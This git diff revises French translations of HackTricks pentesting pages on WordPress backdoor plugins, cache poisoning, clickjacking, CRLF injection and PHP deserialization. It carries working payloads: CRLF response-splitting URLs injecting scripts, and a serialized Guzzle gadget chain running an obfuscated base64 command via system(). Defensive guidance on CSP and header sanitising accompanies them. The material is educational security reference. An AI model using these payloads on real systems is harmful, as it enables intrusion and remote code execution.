+- Naviguez vers le tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
 - Téléchargez le fichier zip du plugin téléchargé.
 3. **Activation du plugin** : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
 4. **Exploitation** :
@@ -307,15 +307,15 @@ Cette méthode implique l'installation d'un plugin malveillant connu pour être
 - Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
 - Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
 
-Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation des vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une autorisation explicite.
+Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec autorisation explicite.
 
 **Pour des étapes plus détaillées, consultez :** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## De XSS à RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike) : _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** à **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :**
 - _**Escalade de privilèges :**_ Crée un utilisateur dans WordPress.
-- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) sur WordPress.
+- _**(RCE) Téléchargement de plugin personnalisé (backdoor) :**_ Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
 - _**(RCE) Édition de plugin intégré :**_ Éditez des plugins intégrés dans WordPress.
 - _**(RCE) Édition de thème intégré :**_ Éditez des thèmes intégrés dans WordPress.
 - _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
@@ -334,9 +334,9 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Surface d'Attaque
 
-Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans sa fonctionnalité. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**cet article de blog**](https://nowotarski.info/wordpress-nonce-authorization/).
+Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez découvrir comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**cet article de blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 
-- **`wp_ajax`**&#x20;
+- **`wp_ajax`**
 
 L'une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci pourraient contenir des bogues de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que **tout utilisateur authentifié dans l'instance Wordpress pourrait avoir** (indépendamment de son rôle).
 
@@ -368,7 +368,7 @@ Le `permission_callback` est un rappel à une fonction qui vérifie si un utilis
 
 - **Accès direct au fichier php**
 
-Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
+Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
 
 ## Protection WordPress
 

src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md

@@ -2,10 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des divergences entre les proxies de cache et les serveurs web.**
+Ceci est un résumé des techniques proposées dans le post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) afin d'effectuer des attaques de cache poisoning **en abusant des différences entre les proxies de cache et les serveurs web.**
 
 > [!NOTE]
-> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le véritable chemin qui chargera une page dynamique (qui pourrait contenir des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
+> L'objectif de cette attaque est de **faire croire au serveur de cache qu'une ressource statique est en cours de chargement** afin qu'il la mette en cache, tandis que le serveur de cache stocke comme clé de cache une partie du chemin, mais le serveur web répond en résolvant un autre chemin. Le serveur web résoudra le chemin réel qui chargera une page dynamique (qui pourrait stocker des informations sensibles sur l'utilisateur, un payload malveillant comme XSS ou rediriger pour charger un fichier JS depuis le site de l'attaquant par exemple).
 
 ## Delimiters
 
@@ -29,7 +29,7 @@ D'autres délimiteurs spécifiques peuvent être trouvés en suivant ce processu
 
 ### **Encodings**
 
-Différents serveurs HTTP et proxies comme Nginx, Node et CloudFront décodent les délimiteurs différemment, ce qui entraîne des incohérences entre les CDN et les serveurs d'origine qui pourraient être exploitées. Par exemple, si le serveur web effectue cette transformation `/myAccount%3Fparam` → `/myAccount?param` mais que le serveur de cache conserve comme clé le chemin `/myAccount%3Fparam`, il y a une incohérence. 
+Différents serveurs HTTP et proxies comme Nginx, Node et CloudFront décodent les délimiteurs différemment, ce qui entraîne des incohérences entre les CDN et les serveurs d'origine qui pourraient être exploitées. Par exemple, si le serveur web effectue cette transformation `/myAccount%3Fparam` → `/myAccount?param` mais que le serveur de cache conserve comme clé le chemin `/myAccount%3Fparam`, il y a une incohérence.
 
 Une façon de vérifier ces incohérences est d'envoyer des requêtes URL en encodant différents caractères après avoir chargé le chemin sans aucun encodage et de vérifier si la réponse du chemin encodé provient de la réponse mise en cache.
 

src/pentesting-web/clickjacking.md

@@ -4,13 +4,13 @@
 
 ## Qu'est-ce que le Clickjacking
 
-Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits.
+Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits.
 
 ### Astuce de préremplissage de formulaires
 
 Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
 
-### Remplir le formulaire avec Drag\&Drop
+### Remplir un formulaire avec Drag\&Drop
 
 Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
 
@@ -91,8 +91,8 @@ background: #F00;
 
 Si vous avez identifié une **attaque XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez en abuser pour tromper l'utilisateur en lui faisant cliquer sur le bouton/lien.\
 Exemple :\
-_You avez trouvé un **self XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET._\
-\_\_Un attaquant pourrait préparer une **attaque Clickjacking** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
+Vous avez trouvé un **self XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET.\
+Un attaquant pourrait préparer une **attaque Clickjacking** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**.
 
 ## Stratégies pour atténuer le Clickjacking
 
@@ -115,13 +115,13 @@ id="victim_website"
 src="https://victim-website.com"
 sandbox="allow-forms allow-scripts"></iframe>
 ```
-Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires comme `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider les autorisations à accorder.
+Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l'iframe tout en désactivant la navigation de niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires comme `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent guider sur les autorisations à accorder.
 
 ### Défenses côté serveur
 
 #### X-Frame-Options
 
-L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la légitimité de rendre une page dans un `<frame>` ou `<iframe>`, aidant à prévenir le Clickjacking :
+L'**en-tête de réponse HTTP `X-Frame-Options`** informe les navigateurs sur la légitimité de rendre une page dans un `<frame>` ou `<iframe>`, aidant à prévenir le Clickjacking :
 
 - `X-Frame-Options: deny` - Aucun domaine ne peut encadrer le contenu.
 - `X-Frame-Options: sameorigin` - Seul le site actuel peut encadrer le contenu.
@@ -130,7 +130,7 @@ L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la
 
 #### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
 
-La directive **`frame-ancestors` dans CSP** est la méthode conseillée pour la protection contre le Clickjacking :
+La **directive `frame-ancestors` dans CSP** est la méthode conseillée pour la protection contre le Clickjacking :
 
 - `frame-ancestors 'none'` - Semblable à `X-Frame-Options: deny`.
 - `frame-ancestors 'self'` - Semblable à `X-Frame-Options: sameorigin`.
@@ -140,7 +140,7 @@ Par exemple, la CSP suivante n'autorise l'encadrement que depuis le même domain
 
 `Content-Security-Policy: frame-ancestors 'self';`
 
-Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la [documentation frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) et [la documentation frame-ancestors CSP de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
+Des détails supplémentaires et des exemples complexes peuvent être trouvés dans la [documentation frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) et [la documentation frame-ancestors de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
 
 ### Politique de sécurité du contenu (CSP) avec `child-src` et `frame-src`
 
@@ -157,12 +157,12 @@ Cette politique permet des cadres de la même origine (soi) et https://trusted-w
 
 #### `child-src` Directive
 
-- Introduit dans CSP niveau 2 pour définir des sources valides pour les travailleurs web et les cadres.
+- Introduit dans le niveau 2 de CSP pour définir des sources valides pour les travailleurs web et les cadres.
 - Agit comme une solution de secours pour frame-src et worker-src.
 ```
 Content-Security-Policy: child-src 'self' https://trusted-website.com;
 ```
-Cette politique permet des cadres et des travailleurs de la même origine (soi) et https://trusted-website.com.
+Cette politique permet des cadres et des travailleurs de la même origine (self) et https://trusted-website.com.
 
 **Notes d'utilisation :**
 
@@ -172,7 +172,7 @@ Cette politique permet des cadres et des travailleurs de la même origine (soi)
 
 #### Scripts JavaScript de rupture de cadre
 
-Bien que pas complètement infaillibles, les scripts de rupture de cadre basés sur JavaScript peuvent être utilisés pour empêcher qu'une page web soit encadrée. Exemple :
+Bien que pas complètement infaillibles, des scripts de rupture de cadre basés sur JavaScript peuvent être utilisés pour empêcher qu'une page web soit encadrée. Exemple :
 ```javascript
 if (top !== self) {
 top.location = self.location

src/pentesting-web/crlf-0d-0a.md

@@ -6,11 +6,11 @@
 
 Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des séquences de caractères spéciaux utilisées dans le protocole HTTP pour indiquer la fin d'une ligne ou le début d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-têtes HTTP du corps d'une réponse. Ces caractères sont universellement employés dans les communications HTTP/1.1 à travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.
 
-### Vulnérabilité d'Injection CRLF
+### CRLF Injection Vulnerability
 
 L'injection CRLF implique l'insertion de caractères CR et LF dans des entrées fournies par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractères ne soient pas intrinsèquement nuisibles, leur mauvaise utilisation peut conduire à un fractionnement de réponse HTTP et à d'autres activités malveillantes.
 
-### Exemple : Injection CRLF dans un Fichier Journal
+### Example: CRLF Injection in a Log File
 
 [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
 
@@ -35,21 +35,21 @@ L'attaquant dissimule ainsi ses activités malveillantes en faisant apparaître
 
 #### Description
 
-HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut manipuler efficacement le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).
+HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut efficacement manipuler le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS).
 
 #### XSS à travers HTTP Response Splitting
 
 1. L'application définit un en-tête personnalisé comme ceci : `X-Custom-Header: UserInput`
 2. L'application récupère la valeur pour `UserInput` à partir d'un paramètre de requête, disons "user_input". Dans des scénarios manquant de validation et d'encodage appropriés des entrées, un attaquant peut créer un payload qui inclut la séquence CRLF, suivie de contenu malveillant.
 3. Un attaquant crée une URL avec un 'user_input' spécialement conçu : `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
-- Dans cette URL, `%0d%0a%0d%0a` est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, amenant le serveur à traiter la partie suivante comme le corps de la réponse.
+- Dans cette URL, `%0d%0a%0d%0a` est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, faisant en sorte que le serveur traite la partie suivante comme le corps de la réponse.
 4. Le serveur reflète l'entrée de l'attaquant dans l'en-tête de réponse, entraînant une structure de réponse non intentionnelle où le script malveillant est interprété par le navigateur comme faisant partie du corps de la réponse.
 
 #### Un exemple de HTTP Response Splitting menant à une redirection
 
-De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
+From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
 
-Navigateur vers :
+Browser to:
 ```
 /%0d%0aLocation:%20http://myweb.com
 ```
@@ -61,9 +61,9 @@ Location: http://myweb.com
 ```
 http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 ```
-#### Dans le chemin d'URL
+#### Dans le chemin URL
 
-Vous pouvez envoyer la charge utile **à l'intérieur du chemin d'URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)):
+Vous pouvez envoyer la charge utile **dans le chemin URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)):
 ```
 http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
 http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
@@ -76,15 +76,15 @@ https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.
 
 ### Injection d'en-tête HTTP
 
-L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), menant potentiellement à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.
+L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), pouvant mener à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.
 
 #### Exploitation de CORS via l'injection d'en-tête HTTP
 
-Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet aux scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées.
+Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet à des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées.
 
 #### SSRF et injection de requête HTTP via CRLF
 
-L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter entièrement une nouvelle requête HTTP. Voici un exemple PHP démontrant cette exploitation :
+L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter une nouvelle requête HTTP entièrement. Ci-dessous un exemple PHP démontrant cette exploitation :
 ```php
 $target = 'http://127.0.0.1:9090/test';
 $post_string = 'variable=post value';
@@ -131,7 +131,7 @@ Après cela, une deuxième requête peut être spécifiée. Ce scénario impliqu
 
 ### Injection Memcache
 
-Memcache est un **stockage clé-valeur qui utilise un protocole en texte clair**. Plus d'infos dans :
+Memcache est un **magasin de clés-valeurs qui utilise un protocole en texte clair**. Plus d'infos dans :
 
 {{#ref}}
 ../network-services-pentesting/11211-memcache/
@@ -143,19 +143,19 @@ Si une plateforme prend **des données d'une requête HTTP et les utilise sans l
 
 Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant :
 
-<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
+<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
 
 De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants à des utilisateurs dont l'attaquant ne connaissait pas l'email :
 
-<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
+<figure><img src="../images/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
 
 ### Comment Prévenir les Injections CRLF / HTTP Header dans les Applications Web
 
 Pour atténuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
 
-1. **Évitez l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse :** L'approche la plus sûre est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse.
-2. **Encodez les Caractères Spéciaux :** Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
-3. **Mettez à Jour le Langage de Programmation :** Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
+1. **Éviter l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse :** L'approche la plus sûre est de s'abstenir d'incorporer des entrées fournies par l'utilisateur directement dans les en-têtes de réponse.
+2. **Encoder les Caractères Spéciaux :** Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
+3. **Mettre à Jour le Langage de Programmation :** Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
 
 ### CHEATSHEET
 

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Tout d'abord, vous devez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
+Tout d'abord, vous devriez vérifier ce que sont les [**Classes de Chargement Automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
 
 ## Désérialisation PHP + spl_autoload_register + LFI/Gadget
 
@@ -36,19 +36,19 @@ require __DIR__ . $filename;
 });
 ```
 > [!TIP]
-> Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser directement de cette fonctionnalité** et obtenir déjà un RCE.
+> Si vous avez un **téléchargement de fichier** et que vous pouvez télécharger un fichier avec une **extension `.php`**, vous pourriez **abuser de cette fonctionnalité directement** et obtenir déjà un RCE.
 
 Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur le **même conteneur** une autre page web composer avec une **bibliothèque vulnérable à un gadget `phpggc`**.
 
 - Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur composer de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). **Connaissant le chemin de l'application**, vous pouvez y parvenir très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur composer était dans `/www/frontend/vendor/autoload.php`)
-- Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le payload phpgcc`** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
+- Maintenant, vous pouvez **charger** le **chargeur composer de l'autre application**, donc il est temps de **`générer le phpgcc`** **payload** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
 - REMARQUE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et défini **tous les attributs** des classes **de privé à public**. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur.
-- Maintenant, nous avons le moyen de **charger le chargeur composer de l'autre application** et d'avoir un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
+- Maintenant, nous avons le moyen de **charger le chargeur composer de l'autre application** et d'avoir un **payload phpgcc qui fonctionne**, mais nous devons **faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
 - Vous pouvez voir **d'abord le chargeur être chargé puis le payload**.
 ```php
 a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
 ```
-- Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans aucun dossier à l'intérieur du serveur web**. Donc, comme vous pouvez le voir dans le payload, PHP appelle **`system`** avec un **base64** qui est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de payload** que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp **pour charger le fichier généré `/tmp/a.php`**. Il suffit de l'ajouter au gadget de désérialisation :&#x20;
+- Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web**. Donc, comme vous pouvez le voir dans le payload, PHP appelle **`system`** avec un **base64** qui est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de payload** que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp **pour charger le fichier généré `/tmp/a.php`**. Il suffit de l'ajouter au gadget de désérialisation :
 ```php
